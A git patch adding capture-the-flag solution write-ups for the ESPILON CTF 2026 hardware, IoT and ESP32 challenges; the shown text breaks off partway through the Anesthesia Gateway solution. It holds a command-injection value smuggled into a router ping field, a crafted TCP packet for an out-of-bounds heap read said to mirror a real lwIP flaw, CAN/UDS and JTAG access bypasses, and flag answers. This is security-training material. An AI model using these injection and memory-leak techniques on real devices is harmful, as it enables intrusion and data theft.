From 9daaf56eb56a7df170a5514f02cccf9aa8cbaa84 Mon Sep 17 00:00:00 2001 From: Eun0us Date: Sun, 22 Mar 2026 19:18:58 +0100 Subject: [PATCH] =?UTF-8?q?ESPILON=20CTF=202026=20=E2=80=94=20Write-ups=20?= =?UTF-8?q?=C3=A9dition=201=20(33=20challenges)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ESP/ESP_Start/README.md | 63 ++++++ ESP/Jnouner_Router/README.md | 173 ++++++++++++++ ESP/Phantom_Byte/README.md | 178 +++++++++++++++ Hardware/CAN_Bus_Implant/README.md | 62 +++++ Hardware/Glitch_The_Wired/README.md | 54 +++++ Hardware/NAVI_I2C_Sniff/README.md | 69 ++++++ Hardware/Phantom_JTAG/README.md | 61 +++++ Hardware/Serial_Experimental_00/README.md | 45 ++++ Hardware/Signal_Tap_Lain/README.md | 57 +++++ Hardware/Wired_SPI_Exfil/README.md | 53 +++++ Intro/The_Wired/README.md | 135 +++++++++++ IoT/Anesthesia_Gateway/README.md | 72 ++++++ IoT/Cr4cK_w1f1/README.md | 66 ++++++ IoT/Lain_Br34kC0r3/README.md | 95 ++++++++ IoT/Lain_Br34kC0r3_V2/README.md | 149 ++++++++++++ IoT/Lain_VS_Knights/README.md | 251 +++++++++++++++++++++ IoT/Lets_All_Hate_UART/README.md | 87 +++++++ IoT/Lets_All_Love_UART/README.md | 73 ++++++ IoT/Nurse_Call/README.md | 25 ++ IoT/Observe_The_Wired/README.md | 52 +++++ IoT/Wired_Airwave_013/README.md | 60 +++++ Misc/AETHER_NET/README.md | 196 ++++++++++++++++ Misc/Accela_Signal/README.md | 102 +++++++++ Misc/LAYER_ZERO/README.md | 156 +++++++++++++ Misc/Last_Train_451/README.md | 21 ++ Misc/Patient_Portal/README.md | 137 +++++++++++ OT/Cyberia_Grid/README.md | 75 ++++++ OT/Operating_Room/README.md | 84 +++++++ OT/Protocol_Seven/README.md | 78 +++++++ OT/Schumann_Resonance/README.md | 74 ++++++ OT/Tachibana_SCADA/README.md | 76 +++++++ README.md | 110 +++++++++ Web3/GANTZ_BALL_CONTRACT/README.md | 124 ++++++++++ Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md | 85 +++++++ 34 files changed, 3198 insertions(+) create mode 100644 ESP/ESP_Start/README.md create mode 100644 ESP/Jnouner_Router/README.md create mode 100644 ESP/Phantom_Byte/README.md create mode 100644 Hardware/CAN_Bus_Implant/README.md create mode 100644 Hardware/Glitch_The_Wired/README.md create mode 100644 Hardware/NAVI_I2C_Sniff/README.md create mode 100644 Hardware/Phantom_JTAG/README.md create mode 100644 Hardware/Serial_Experimental_00/README.md create mode 100644 Hardware/Signal_Tap_Lain/README.md create mode 100644 Hardware/Wired_SPI_Exfil/README.md create mode 100644 Intro/The_Wired/README.md create mode 100644 IoT/Anesthesia_Gateway/README.md create mode 100644 IoT/Cr4cK_w1f1/README.md create mode 100755 IoT/Lain_Br34kC0r3/README.md create mode 100644 IoT/Lain_Br34kC0r3_V2/README.md create mode 100755 IoT/Lain_VS_Knights/README.md create mode 100644 IoT/Lets_All_Hate_UART/README.md create mode 100755 IoT/Lets_All_Love_UART/README.md create mode 100644 IoT/Nurse_Call/README.md create mode 100644 IoT/Observe_The_Wired/README.md create mode 100644 IoT/Wired_Airwave_013/README.md create mode 100644 Misc/AETHER_NET/README.md create mode 100644 Misc/Accela_Signal/README.md create mode 100644 Misc/LAYER_ZERO/README.md create mode 100644 Misc/Last_Train_451/README.md create mode 100644 Misc/Patient_Portal/README.md create mode 100644 OT/Cyberia_Grid/README.md create mode 100644 OT/Operating_Room/README.md create mode 100644 OT/Protocol_Seven/README.md create mode 100644 OT/Schumann_Resonance/README.md create mode 100644 OT/Tachibana_SCADA/README.md create mode 100644 README.md create mode 100644 Web3/GANTZ_BALL_CONTRACT/README.md create mode 100644 Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md diff --git a/ESP/ESP_Start/README.md b/ESP/ESP_Start/README.md new file mode 100644 index 0000000..a2ccf14 --- /dev/null +++ b/ESP/ESP_Start/README.md @@ -0,0 +1,63 @@ +# ESP Start — Solution + +**Difficulty:** Easy | **Category:** ESP | **Flag:** `ESPILON{st4rt_th3_w1r3}` + +## Overview + +Flash the provided firmware onto an ESP32. On boot, the device outputs an +XOR-encrypted flag along with the XOR key via UART at 115200 baud. + +## Step 1 — Flash the firmware + +```bash +esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \ + 0x1000 bootloader.bin \ + 0x8000 partition-table.bin \ + 0x10000 hello-espilon.bin +``` + +## Step 2 — Read the UART output + +```bash +screen /dev/ttyUSB0 115200 +# Or: +minicom -D /dev/ttyUSB0 -b 115200 +``` + +The device prints: + +```text +=== Hello ESP === +System ready. + +Encrypted flag: 09 12 19 07 00 0E 07 35 3F 35 7D 3C 38 1E 3D 26 7F 1E 3E 7F 3E 72 34 +XOR Key: 4C 41 49 4E +``` + +## Step 3 — Decrypt the flag + +XOR key is `LAIN` (`4C 41 49 4E`). Apply it cyclically: + +```python +enc = bytes([0x09,0x12,0x19,0x07,0x00,0x0E,0x07,0x35, + 0x3F,0x35,0x7D,0x3C,0x38,0x1E,0x3D,0x26, + 0x7F,0x1E,0x3E,0x7F,0x3E,0x72,0x34]) +key = b"LAIN" +flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc)) +print(flag.decode()) +# ESPILON{st4rt_th3_w1r3} +``` + +## Key Concepts + +- **ESP32 flashing**: `esptool.py` writes bootloader, partition table, and application at their respective offsets +- **UART monitoring**: ESP32 default baud rate is 115200, 8N1 +- **XOR cipher**: Simple symmetric cipher — key is broadcast in plaintext here as an intro challenge + +## Flag + +`ESPILON{st4rt_th3_w1r3}` + +## Author + +Eun0us diff --git a/ESP/Jnouner_Router/README.md b/ESP/Jnouner_Router/README.md new file mode 100644 index 0000000..bc52ee4 --- /dev/null +++ b/ESP/Jnouner_Router/README.md @@ -0,0 +1,173 @@ +# Jnouner Router — Solution + +**Category:** ESP | **Type:** Multi-part (4 flags) + +| Flag | Name | Points | Flag value | +|------|-----------------|--------|-----------------------------------| +| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` | +| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` | +| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` | +| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` | + +## Setup + +Flash the firmware on an ESP32: + +```bash +esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \ + 0x1000 bootloader.bin \ + 0x8000 partition-table.bin \ + 0x10000 jnouned_router.bin +``` + +Open the UART console: + +```bash +screen /dev/ttyUSB0 115200 +``` + +--- + +## Flag 1 — Console Access + +The UART console shows a `jnoun-console>` prompt. The password is hardcoded in +the firmware as three concatenated parts. Read the ELF strings or reverse +`build_admin_password()` in `admin.c`: + +``` +p1 = "jnoun-" +p2 = "admin-" +p3 = "2022" +→ password = "jnoun-admin-2022" +``` + +```text +admin_login jnoun-admin-2022 +``` + +Flag 1 is printed on success. + +--- + +## Flag 2 — 802.11 TX + +From the admin console, trigger 802.11 frame emission: + +```text +settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware) +start_emitting ← starts sending raw 802.11 data frames for 90 seconds +``` + +WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`): + +- **SSID**: `Jnoun-3E4C` +- **PSK**: `LAIN_H4v3_Ajnoun` + +Put a WiFi card into **monitor mode** and capture the 802.11 frames while the +flooder runs. Among random noise frames, one frame (emitted at a random time +between 5 and 85 seconds) contains flag 2 in its payload: + +```bash +airmon-ng start wlan0 +tcpdump -i wlan0mon -w capture.pcap +# or +tshark -i wlan0mon -w capture.pcap +``` + +Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext +in the 802.11 data frame payload. + +--- + +## Flag 3 — Admin Panel + +Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an +HTTP server at `http://192.168.4.1`. + +Login with default credentials: `admin` / `admin`. + +The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin +page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`. + +Inject via the `target` field: + +```text +POST /api/ping +target=192.168.1.1; flag +``` + +Flag 3 is printed to the UART console (`ESP_LOGE` output). + +Or URL-encoded via curl: + +```bash +curl -b "auth=1" -X POST http://192.168.4.1/api/ping \ + -d "target=x%3B+flag" +``` + +--- + +## Flag 4 — JMP Protocol + +From the admin panel, trigger the exfiltration session: + +```text +target=x; start_session +``` + +The UART console shows: + +```text +JMP Server listening on UDP:6999 +PROTOCOL INITIALIZATION LEAK: + Magic: 0x4A4D5021 + Auth hash (SHA256): + Hint: Secret pattern is JNOUNER_SECRET_XXXX +``` + +The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash, +then request data blocks: + +```python +import socket, struct, hashlib + +HOST = "192.168.4.1" +PORT = 6999 +MAGIC = 0x4A4D5021 +SECRET = b"JNOUNER_SECRET_EXFILTRATION" + +secret_hash = hashlib.sha256(SECRET).digest() + +# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32) +auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sock.sendto(auth_pkt, (HOST, PORT)) + +# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4) +resp, _ = sock.recvfrom(1024) +magic, ptype, status, token = struct.unpack(">IBBI", resp[:10]) +print(f"Token: 0x{token:08x}") + +# Request all blocks +flag = b"" +for block_id in range(10): + # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1) + req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id) + sock.sendto(req, (HOST, PORT)) + resp, _ = sock.recvfrom(1024) + + # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2) + if len(resp) < 8: + break + _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8]) + data = resp[8:8+dlen] + flag += data + if bid + 1 >= total: + break + +print(flag.decode()) +``` + +## Author + +Eun0us diff --git a/ESP/Phantom_Byte/README.md b/ESP/Phantom_Byte/README.md new file mode 100644 index 0000000..d918bed --- /dev/null +++ b/ESP/Phantom_Byte/README.md @@ -0,0 +1,178 @@ +# Phantom Byte — Writeup + +## TL;DR + +4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow +in the device's TCP option parser (based on a real lwIP 0-day). Each layer +teaches a skill leading to the final blind extraction. + +## Reconnaissance + +1. Flash firmware on ESP32, connect UART at 115200 +2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`) +3. Connect to the debug probe: `nc 192.168.4.1 1337` + +## Flag 1 — Signal (100pts) + +> *"The node whispers when it wakes."* + +Monitor the UART output during boot. Among the diagnostic lines: + +``` +[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9 +``` + +Decode the base64: + +```bash +echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d +``` + +Result: `ESPILON{u4rt_s33s_4ll}` + +Submit over TCP: + +``` +ph> unlock ESPILON{u4rt_s33s_4ll} +>> sequence accepted. +>> layer 2 unlocked. you're getting closer to the wire. +``` + +## Flag 2 — Backdoor (200pts) + +> *"Phantom always leaves a way in."* + +In layer 2, `help` lists the documented commands. But the `mem` output hints: + +``` +ph> mem +>> secrets cached in the wire +``` + +And `info` shows: + +``` +>> backdoor: [CLASSIFIED] +``` + +Try the hidden command `wire`: + +``` +ph> wire +>> accessing the wire... +>> config_cache dump: +>> ESPILON{h1dd3n_c0nf1g} +``` + +Submit: + +``` +ph> unlock ESPILON{h1dd3n_c0nf1g} +>> layer 3 unlocked. careful. the deeper you go, the less you come back. +``` + +## Flag 3 — Memory Bleed (300pts) + +> *"The parser reads more than it should."* + +In layer 3, enable debug tracing and inject a crafted TCP SYN: + +``` +ph> trace on +>> trace enabled. +``` + +Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes): + +``` +Byte 12-13: F002 (doff=15, flags=SYN) +``` + +Full hex: `053900500000000100000000f002ffff00000000` + +``` +ph> inject 053900500000000100000000f002ffff00000000 +``` + +The trace output shows each byte read by `tcp_get_next_optbyte`: + +``` +[TRACE] tcp_get_next_optbyte: + [ 20] 0x45 << oob + [ 21] 0x53 << oob + [ 22] 0x50 << oob + [ 23] 0x49 << oob + ... +``` + +All `<< oob` bytes are reads past the segment into the adjacent config_cache. +Convert hex to ASCII: + +``` +0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={ +0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_ +0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4 +0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=} +``` + +Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}` + +## Flag 4 — Blind Oracle (500pts) + +> *"The protocol itself is your oracle."* + +Disable trace output — no more per-byte visibility: + +``` +ph> trace off +``` + +The vulnerability still exists, but now the only feedback is the **parsed +option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle +the segment boundary: + +**Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes. +The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory. + +### Extraction + +**Chunk 1** (flag bytes 0-7): seg_size=32, doff=10 + +``` +ph> inject +>> opt: TS=1163150159/1280267387 +``` + +Decode: `1163150159` → `0x45535049` → `ESPI`, `1280267387` → `0x4c4f4e7b` → `LON{` + +**Chunk 2** (flag bytes 8-15): seg_size=40, doff=12 + +Decode TSval/TSecr → `bl1n` / `d_st` + +**Chunk 3** (flag bytes 16-22): seg_size=48, doff=14 + +Decode TSval/TSecr → `r4dd` / `l3}\x00` + +Reconstruct: `ESPILON{bl1nd_str4ddl3}` + +## Automated Solver + +```bash +python3 solve.py 192.168.4.1 1337 +``` + +## Flags + +| # | Flag | Points | +|---|------|--------| +| 1 | `ESPILON{u4rt_s33s_4ll}` | 100 | +| 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 | +| 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 | +| 4 | `ESPILON{bl1nd_str4ddl3}` | 500 | + +## Real-world Context + +This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3). +The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option +index stays within the pbuf's actual payload length. A remote attacker can send a crafted +TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory. diff --git a/Hardware/CAN_Bus_Implant/README.md b/Hardware/CAN_Bus_Implant/README.md new file mode 100644 index 0000000..29450f0 --- /dev/null +++ b/Hardware/CAN_Bus_Implant/README.md @@ -0,0 +1,62 @@ +# CAN Bus Implant — Solution + +## Overview + +Simulated CAN bus with background traffic and UDS (Unified Diagnostic Services) protocol. Player sniffs traffic to identify patterns, then injects UDS frames to gain security access and read a protected DID. + +## Steps + +1. Open two terminals — one for sniffing, one for injection: + +```bash +# Terminal 1: Sniff +nc 3600 + +# Terminal 2: Inject +nc 3601 +``` + +2. Observe traffic on the sniff port. Note the following patterns: + - `0x100`: Heartbeat (periodic counter) + - `0x200-0x203`: Sensor data (temperature, heart rate) + - `0x7DF`: OBD broadcast diagnostic request + - `0x7E0` → `0x7E8`: UDS request/response pair (periodic VIN read) + +3. On the inject port, enter extended diagnostic session: + +``` +send 7E0 02 10 03 00 00 00 00 00 +``` + +Response on sniff shows `0x7E8` with positive response `50 03`. + +4. Request a security seed: + +``` +send 7E0 02 27 01 00 00 00 00 00 +``` + +Response contains 4-byte seed: `67 01 XX XX XX XX`. + +5. Compute the key by XORing each seed byte with `0x42`, then send: + +``` +send 7E0 06 27 02 KK KK KK KK 00 +``` + +Positive response: `67 02`. + +6. Read the flag from DID 0xFF01: + +``` +send 7E0 03 22 FF 01 00 00 00 00 +``` + +Response contains the flag. + +## Key Concepts + +- **CAN bus**: Controller Area Network — no authentication, broadcast medium, used in vehicles and medical equipment +- **UDS (ISO 14229)**: Diagnostic protocol with services like DiagnosticSessionControl, SecurityAccess, ReadDataByIdentifier +- **SecurityAccess**: Challenge-response authentication — ECU sends seed, tester must compute correct key +- **Traffic analysis**: Identifying request/response patterns and protocol types from raw bus traffic diff --git a/Hardware/Glitch_The_Wired/README.md b/Hardware/Glitch_The_Wired/README.md new file mode 100644 index 0000000..c4057e0 --- /dev/null +++ b/Hardware/Glitch_The_Wired/README.md @@ -0,0 +1,54 @@ +# Glitch The Wired — Solution + +## Overview + +Simulated voltage glitching attack on a WIRED-MED secure boot module. The goal is to inject a fault during the signature verification phase to bypass it and access the debug console. + +## Steps + +1. Connect to the glitch lab: + +```bash +nc 3700 +``` + +2. Observe the boot sequence: + +``` +observe +``` + +Note the cycle ranges — SIG_VERIFY runs at cycles 3200-3400. + +3. Configure glitch parameters: + +``` +set_delay 3300 +set_width 20 +``` + +The delay targets the middle of the SIG_VERIFY window. Width of 10-30 cycles works. + +4. Arm and trigger: + +``` +arm +trigger +``` + +If successful, the boot log shows "SIG_VERIFY ....... SKIPPED" and a debug shell activates. + +5. Read the debug console: + +``` +read_console +``` + +The flag is in the maintenance token output. + +## Key Concepts + +- **Voltage glitching**: Briefly disrupting power supply to cause CPU instruction skips +- **Secure boot bypass**: Skipping signature verification allows unsigned code to run +- **Timing precision**: The glitch must overlap with the target operation's execution window +- **Width matters**: Too short = transient recovery, too wide = brown-out crash diff --git a/Hardware/NAVI_I2C_Sniff/README.md b/Hardware/NAVI_I2C_Sniff/README.md new file mode 100644 index 0000000..128025b --- /dev/null +++ b/Hardware/NAVI_I2C_Sniff/README.md @@ -0,0 +1,69 @@ +# NAVI I2C Sniff — Solution + +## Overview + +Simulated I2C bus with 3 devices on Lain's NAVI computer. The EEPROM holds an XOR-encrypted flag, the crypto IC holds the key (but is locked), and the temp sensor has a hint. + +## Steps + +1. Connect: + +```bash +nc 3300 +``` + +2. Scan the bus: + +``` +scan +``` + +Finds 3 devices: 0x50 (EEPROM), 0x48 (Temp), 0x60 (Crypto IC). + +3. Read the temp sensor's hidden register: + +``` +read 0x48 0x07 16 +``` + +Returns `key@0x60:0x10` — hint pointing to crypto IC register 0x10. + +4. Try reading the crypto key: + +``` +read 0x60 0x10 32 +``` + +Returns all zeros — the IC is locked. + +5. Check lock status and unlock: + +``` +read 0x60 0x00 1 # Returns 0x01 (locked) +write 0x60 0x00 0xA5 # Unlock code +``` + +6. Read the XOR key: + +``` +read 0x60 0x10 32 +``` + +Now returns the actual key: `NAVI_WIRED_I2C_CRYPTO_KEY_2024!!` + +7. Read the EEPROM: + +``` +read 0x50 0x00 64 +``` + +Returns XOR-encrypted data. + +8. XOR decrypt EEPROM data with the key to get the flag. + +## Key Concepts + +- **I2C bus scanning**: Enumerate devices by sending start conditions to all 7-bit addresses +- **Multi-device interaction**: Information from one device unlocks another +- **Access control**: The crypto IC requires an unlock sequence before revealing the key +- **XOR encryption**: Simple symmetric cipher used for data at rest in EEPROM diff --git a/Hardware/Phantom_JTAG/README.md b/Hardware/Phantom_JTAG/README.md new file mode 100644 index 0000000..2280053 --- /dev/null +++ b/Hardware/Phantom_JTAG/README.md @@ -0,0 +1,61 @@ +# Phantom JTAG — Solution + +## Overview + +Simulated JTAG debug port with IEEE 1149.1 TAP state machine. The debug interface is locked and requires a key to unlock. Once unlocked, memory can be read to extract the flag. + +## Steps + +1. Connect: + +```bash +nc 3400 +``` + +2. Reset the TAP controller: + +``` +reset +``` + +3. Read device IDCODE: + +``` +ir 1 +dr 00000000 32 +``` + +Returns `0x4BA00477` (ARM Cortex-M like device). + +4. Unlock debug interface — load IR instruction 0x5 and send key `0xDEAD`: + +``` +ir 5 +dr DEAD 16 +``` + +Check with `state` — should show "Debug: UNLOCKED". + +5. Read memory — load MEM_READ instruction (IR 0x8): + +``` +ir 8 +``` + +6. Dump flag from memory at 0x1000: + +``` +dr 1000 16 +dr 00000000 32 +``` + +The first `dr` sends the address, the second reads the 32-bit word at that address. Repeat for addresses 0x1000, 0x1004, 0x1008... until the full flag is recovered. + +7. Convert the 32-bit little-endian words back to ASCII to reconstruct the flag. + +## Key Concepts + +- **JTAG TAP state machine**: IEEE 1149.1 defines a 16-state FSM controlled by TMS signal +- **IR/DR registers**: Instruction Register selects the operation, Data Register carries parameters/results +- **Debug port locking**: Many chips have a lock mechanism requiring a key to enable debug access +- **Memory dump via JTAG**: Once debug is unlocked, arbitrary memory reads are possible diff --git a/Hardware/Serial_Experimental_00/README.md b/Hardware/Serial_Experimental_00/README.md new file mode 100644 index 0000000..74d1825 --- /dev/null +++ b/Hardware/Serial_Experimental_00/README.md @@ -0,0 +1,45 @@ +# Serial Experimental 00 -- Solution + +## Overview + +The challenge provides a split UART interface: + +- TX (read): `1111` +- RX (write): `2222` + +Goal: recover token and run `unlock `. + +## Steps + +1. Open both channels: + +```bash +nc 1111 +nc 2222 +``` + +2. Query diagnostics from RX: + +```text +diag.uart +diag.eeprom +diag.order +``` + +3. Recover fragments: + +- `frag_a_hex=4c41494e` -> `LAIN` +- `frag_b_xor_hex=4056415a525f` with `xor_key=0x13` -> `SERIAL` +- `frag_c_hex=3030` -> `00` + +4. Build token: + +`LAIN-SERIAL-00` + +5. Unlock: + +```text +unlock LAIN-SERIAL-00 +``` + +6. Flag is returned on TX. diff --git a/Hardware/Signal_Tap_Lain/README.md b/Hardware/Signal_Tap_Lain/README.md new file mode 100644 index 0000000..1ec85f0 --- /dev/null +++ b/Hardware/Signal_Tap_Lain/README.md @@ -0,0 +1,57 @@ +# Signal Tap Lain — Solution + +## Overview + +A logic analyzer capture is streamed with 3 channels. Channel 1 (ch1) contains +UART data at 9600 baud, 8N1 format. The player must identify the protocol from +signal timing and decode the ASCII message. + +## Steps + +1. Connect and capture the data: + +```bash +nc 3800 > capture.csv +``` + +Wait for `--- END OF CAPTURE ---`. + +1. Analyze the capture. Use `info` command for metadata: + +```text +info +``` + +Shows 3 channels: ch0 (reference), ch1 (data), ch2 (noise). + +1. Focus on ch1. Look for patterns: + + - Idle state is HIGH (1) + - Periodic falling edges = start bits + - Measure time between start bits to find character period + +1. Calculate baud rate: + + - Bit period ≈ 104.17 μs → 9600 baud + - Character frame = 10 bits (1 start + 8 data + 1 stop) = ~1041.67 μs + +1. Decode UART 8N1: + + - Start bit: falling edge (HIGH → LOW) + - Sample data bits at center of each bit period (1.5 × bit_period after start) + - 8 data bits, LSB first + - Stop bit: HIGH + +1. Script or manually decode the ch1 data to ASCII. The message contains the flag + repeated 3 times. + +## Key Concepts + +- **Logic analysis**: Reading digital signals and identifying protocols from timing patterns +- **UART 8N1**: Universal Asynchronous Receiver/Transmitter — start bit, 8 data bits LSB-first, no parity, 1 stop bit +- **Baud rate detection**: Measuring the shortest pulse width gives the bit period → baud rate +- **Signal separation**: In a multi-channel capture, identifying which channel carries useful data + +## Flag + +`ESPILON{s1gn4l_t4p_l41n}` diff --git a/Hardware/Wired_SPI_Exfil/README.md b/Hardware/Wired_SPI_Exfil/README.md new file mode 100644 index 0000000..5814f2e --- /dev/null +++ b/Hardware/Wired_SPI_Exfil/README.md @@ -0,0 +1,53 @@ +# Wired SPI Exfil — Solution + +## Overview + +Simulated SPI flash chip from a WIRED-MED module. Standard SPI flash commands are used to read chip contents. A hidden partition not listed in the normal partition table contains the XOR-encrypted flag. The SFDP table has vendor-specific parameters that reveal the hidden sector. + +## Steps + +1. Connect and assert CS: + +```bash +nc 3500 +cs 0 +``` + +2. Read chip ID: + +``` +tx 9F +``` + +Returns `EF 40 18` = Winbond W25Q128. + +3. Read the SFDP table to discover hidden sectors: + +``` +tx 5A 00 00 00 00 +``` + +SFDP header shows 2 parameter tables. Read vendor table at offset 0x80: + +``` +tx 5A 00 00 80 00 +``` + +Vendor data shows a hidden partition at `0x030000` labeled "HIDDEN". + +4. Read the hidden partition: + +``` +tx 03 03 00 00 +``` + +Data starts with `WIRED_HIDDEN_PARTITION` header, followed by encrypted bytes. + +5. XOR the encrypted data with key `WIRED_SPI` to get the flag. + +## Key Concepts + +- **SPI flash commands**: Standard opcodes (RDID, READ, SFDP) work across most flash chips +- **SFDP**: Serial Flash Discoverable Parameters — a standardized way to query flash capabilities. Vendor extensions can hide extra information +- **Hidden partitions**: Not all storage areas appear in standard partition tables — manual probing or SFDP analysis reveals them +- **Data at rest encryption**: Simple XOR protection on stored secrets diff --git a/Intro/The_Wired/README.md b/Intro/The_Wired/README.md new file mode 100644 index 0000000..730b201 --- /dev/null +++ b/Intro/The_Wired/README.md @@ -0,0 +1,135 @@ +# The Wired — Writeup + +**Difficulty:** Medium | **Flag:** `ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}` + +## Recon + +Connect to the Navi shell on port 1337 and start reading. + +```bash +nc 1337 +cat README_FIRST.txt +ls -la +``` + +Directories: `notes/`, `comms/`, `dumps/`, `logs/`, `tools/`, `journal/`, `wired/` + +The key files to understand the protocol: + +- `notes/protocol.txt` — frame format is `base64( ChaCha20( protobuf(AgentMessage) ) ) + '\n'` +- `notes/derivation.txt` — ChaCha20 with 32-byte key, 12-byte nonce, counter=0 +- `notes/hardening.txt` — keys are baked into the firmware ELF. **WARNING:** there's a dev key at the bottom (`Xt9Lm2Qw7KjP4rNvB8hYc3fZ0dAeU6sG`) — it's a trap planted by "the other Lain". The server drops you silently if you use it. The journal entry from Jan 17 warns about this. + +## Identify the target + +`notes/eiri.txt` and `tools/devices.json` tell you the interesting device is `ce4f626b` — alias "Eiri_Master", role `root-coordinator`, status `quarantine`. Regular devices just get a `heartbeat` back. This one triggers the flag path. + +## Understand the handshake + +`comms/msg_ops_20260114.txt` describes the 2-step session: + +1. Agent sends `AGENT_INFO` → coordinator replies `session_init` with a random token in `argv[0]` +2. Agent sends `AGENT_CMD_RESULT` with `request_id` = that token → coordinator replies with the flag + +`comms/msg_lain_20260116.txt` confirms both messages have to go on the **same TCP connection**. Token is per-connection, can't reuse it. + +## Extract the key + +Any device ELF works since they all share the same key (see `notes/changelog.txt` about v0.9.0 migration). + +```bash +strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{32}$' +strings dumps/7f3c9a12/bot-lwip.elf | grep -E '^[A-Za-z0-9]{12}$' +``` + +- Key (32 bytes): `7Kj2mPx9LwR4nQvT1hYc3bFz8dAeU6sG` +- Nonce (12 bytes): `X3kW7nR9mPq2` + +Alternative: Ghidra → find `chacha_cd()` in crypto.c → follow xrefs to `CONFIG_CRYPTO_KEY` / `CONFIG_CRYPTO_NONCE`. + +## Exploit + +Single TCP connection to port 2626. + +**MSG1 — AGENT_INFO:** +``` +AgentMessage { + device_id = "ce4f626b" + type = 0 (INFO) + payload = b"ce4f626b" +} +``` + +Serialize as protobuf → ChaCha20 encrypt → base64 + `\n` → send. + +Server replies with: +``` +Command { + command_name = "session_init" + argv = [""] + request_id = "handshake" +} +``` + +Decrypt + decode the response, grab the token from `argv[0]`. + +**MSG2 — CMD_RESULT:** +``` +AgentMessage { + device_id = "ce4f626b" + type = 4 (CMD_RESULT) + request_id = "" + payload = b"ce4f626b" +} +``` + +Same connection. Encrypt, encode, send. + +Server replies: +``` +Command { + command_name = "flag" + argv = ["ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}"] +} +``` + +## Things that will get you dropped + +- Using the fake dev key from `hardening.txt` +- Sending a device_id not in the allowlist +- Using a valid but non-master device (you get `heartbeat`, not `flag`) +- Sending MSG2 on a new connection (token is tied to the session) +- Wrong `type` in MSG2 (needs to be `4`) +- Wrong `request_id` (needs to match the token exactly) + +## Solver + +```bash +python3 solve.py --host --port 2626 +``` + +## Protobuf reference + +The `.proto` is at `wired/registry/c2.proto` on the target: + +```protobuf +message AgentMessage { + string device_id = 1; + AgentMsgType type = 2; + string source = 3; + string request_id = 4; + bytes payload = 5; + bool eof = 6; +} + +message Command { + string device_id = 1; + string command_name = 2; + repeated string argv = 3; + string request_id = 4; +} +``` + +No need for `protoc` — manual varint encoding works fine. See `solve.py`. + +Author: Eun0us diff --git a/IoT/Anesthesia_Gateway/README.md b/IoT/Anesthesia_Gateway/README.md new file mode 100644 index 0000000..7da59e5 --- /dev/null +++ b/IoT/Anesthesia_Gateway/README.md @@ -0,0 +1,72 @@ +# Anesthesia Gateway -- Solution + +## Overview +MQTT broker simulating an anesthesia monitoring gateway. A debug topic leaks +an encoded firmware blob. Reverse the encoding to extract a maintenance key +and publish it to unlock the flag. + +## Steps + +### 1. Connect and discover topics +```bash +mosquitto_sub -h HOST -t "sainte-mika/#" -v +``` + +Topics discovered: +- `sainte-mika/or13/vitals` -- patient vital signs (JSON) +- `sainte-mika/or13/sevoflurane` -- anesthetic gas data +- `sainte-mika/or13/propofol` -- infusion pump data +- `sainte-mika/or13/ventilator` -- mechanical ventilator data +- `sainte-mika/or13/alarms` -- alarm status (note: `"network": "WIRED-MED"`) +- `sainte-mika/or13/debug/firmware` -- **base64-encoded blob (every 45s)** + +### 2. Capture firmware blob +Grab the base64 string from `debug/firmware`. + +### 3. Decode the blob +The encoding chain is: JSON -> zlib -> XOR("WIRED") -> base64 + +To reverse: +```python +import base64, zlib + +blob = "" +raw = base64.b64decode(blob) + +# XOR with key "WIRED" (hint: WIRED-MED appears in alarm data) +key = b"WIRED" +xored = bytes(b ^ key[i % len(key)] for i, b in enumerate(raw)) + +# After XOR, bytes start with 78 9C (zlib magic) +config = zlib.decompress(xored) +print(config.decode()) 